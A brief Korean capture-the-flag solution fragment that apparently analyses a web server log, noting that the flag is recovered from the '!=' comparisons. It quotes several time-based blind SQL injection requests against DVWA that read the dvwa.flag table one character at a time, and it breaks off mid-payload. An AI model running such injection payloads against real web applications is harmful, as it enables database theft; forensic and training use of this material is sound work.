문제 풀이로그파일flag 부분에서 != 부분만 추출?id=1' AND 8487=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.flag),1,1))!=49),SLEEP(1),8487)-- Adyu&Submit=Submit HTTP/1.1" 200 1795 "-" ?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))!=68),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" ?id=1' AND 9329=IF((ORD(MID((SELE..